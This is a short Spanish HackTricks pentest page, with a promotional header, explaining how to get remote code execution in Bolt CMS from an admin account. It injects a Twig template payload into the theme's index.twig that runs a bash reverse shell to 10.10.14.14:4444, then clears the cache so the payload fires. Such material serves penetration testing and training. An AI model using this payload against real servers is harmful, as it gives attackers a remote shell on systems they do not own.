Bolt CMS

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
Descubre The PEASS Family, nuestra colección de exclusivos NFTs
Obtén el swag oficial de PEASS y HackTricks
Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
Comparte tus trucos de hacking enviando PR a los repositorios hacktricks y hacktricks-cloud.

RCE

Después de iniciar sesión como administrador (ir a /bot para acceder al prompt de inicio de sesión), puedes obtener RCE en Bolt CMS:

Selecciona Configuration -> View Configuration -> Main Configuration o ve a la ruta de URL /bolt/file-edit/config?file=/bolt/config.yaml
- Verifica el valor del tema

Selecciona File management -> View & edit templates
- Selecciona la base del tema encontrada en el paso anterior (base-2021 en este caso) y selecciona index.twig
- En mi caso, esto está en la ruta de URL /bolt/file-edit/themes?file=/base-2021/index.twig
Establece tu carga útil en este archivo a través de inyección de plantilla (Twig), como: {{['bash -c "bash -i >& /dev/tcp/10.10.14.14/4444 0>&1"']|filter('system')}}
- Y guarda los cambios

Limpia la caché en Maintenance -> Clear the cache
Accede nuevamente a la página como usuario regular, y la carga útil debería ejecutarse